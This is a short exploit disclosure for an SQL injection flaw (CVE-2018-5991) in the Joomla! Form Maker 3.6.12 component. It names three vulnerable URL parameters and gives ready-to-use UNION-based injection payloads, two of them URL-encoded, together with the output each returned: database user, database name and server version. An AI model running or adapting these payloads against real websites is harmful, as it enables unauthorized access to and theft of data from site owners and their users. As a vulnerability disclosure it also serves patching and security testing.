Joomla! Form Maker 3.6.12 SQL Injection

`# # # #  
# Exploit Title: Joomla! Component Form Maker 3.6.12 - SQL Injection  
# Dork: N/A  
# Date: 16.02.2018  
# Vendor Homepage: http://demo.web-dorado.com/  
# Software Link: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/form-maker/  
# Version: 3.6.12  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2018-5991  
# # # #  
# Exploit Author: Ihsan Sencan   
# # # #   
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# POC:  
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# 1)  
# http://localhost/[PATH]/index.php?option=com_formmaker&view=stats&id=[SQL]  
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# 2)  
# http://localhost/[PATH]/index.php?option=com_formmaker&view=stats&form_id=1&id=1&from=[SQL]  
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#   
# 3)  
# http://localhost/[PATH]/index.php?option=com_formmaker&view=stats&form_id=1&id=1&to=[SQL]  
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# # # #  
  
  
  
  
  
1  
http://localhost/Joomla375/index.php?option=com_formmaker&view=stats&id=1'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-   
root@localhost : joomla375 : 10.1.21-MariaDB  
  
2  
http://localhost/Joomla375/index.php?option=com_formmaker&view=stats&form_id=1&id=1&from=1%27%20%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2d%2d%20%2d%20  
root@localhost : joomla375 : 10.1.21-MariaDB  
  
3  
http://localhost/Joomla375/index.php?option=com_formmaker&view=stats&form_id=1&id=1&to=1%27%20%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2d%2d%20%2d%20  
root@localhost : joomla375 : 10.1.21-MariaDB  
  
`